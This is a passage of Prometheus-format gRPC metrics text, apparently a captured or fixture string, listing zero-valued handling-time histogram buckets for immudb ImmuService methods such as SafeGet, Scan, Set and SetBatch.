0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Logout\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Logout\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Logout\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Logout\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Logout\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Logout\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Logout\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Logout\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Logout\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Logout\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"Logout\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"Logout\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Reference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Reference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Reference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Reference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Reference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Reference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Reference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Reference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Reference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Reference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Reference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Reference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"Reference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"Reference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeGet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeGet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeGet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeGet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeGet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeGet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeGet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeGet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeGet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeGet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeGet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeGet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"SafeGet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"SafeGet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeGetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeGetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeGetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeGetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeGetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeGetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeGetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeGetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeGetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeGetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeGetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeGetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"SafeGetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"SafeGetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeReference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeReference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeReference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeReference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeReference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeReference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeReference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeReference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeReference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeReference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeReference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeReference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"SafeReference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"SafeReference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeSet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeSet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeSet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeSet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeSet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeSet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeSet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeSet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeSet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeSet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeSet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeSet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"SafeSet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"SafeSet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeSetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeSetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeSetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeSetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeSetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeSetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeSetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeSetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeSetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeSetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeSetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeSetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"SafeSetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"SafeSetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SafeZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"SafeZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"SafeZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Scan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Scan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Scan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Scan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Scan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Scan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Scan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Scan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Scan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Scan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Scan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Scan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"Scan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"Scan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"ScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"ScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"ScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Set\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Set\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Set\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Set\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Set\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Set\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Set\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Set\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Set\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Set\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Set\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"Set\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"Set\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"Set\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetActiveUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetActiveUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetActiveUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetActiveUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetActiveUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetActiveUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetActiveUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetActiveUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetActiveUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetActiveUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetActiveUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetActiveUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"SetActiveUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"SetActiveUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"10\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"+Inf\"} 0\ngrpc_server_handling_seconds_sum{grpc_method=\"SetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_count{grpc_method=\"SetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.005\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.01\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.025\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.05\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.25\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"0.5\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"1\"} 0\ngrpc_server_handling_seconds_bucket{grpc_method=\"SetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\",le=\"2.5\"} 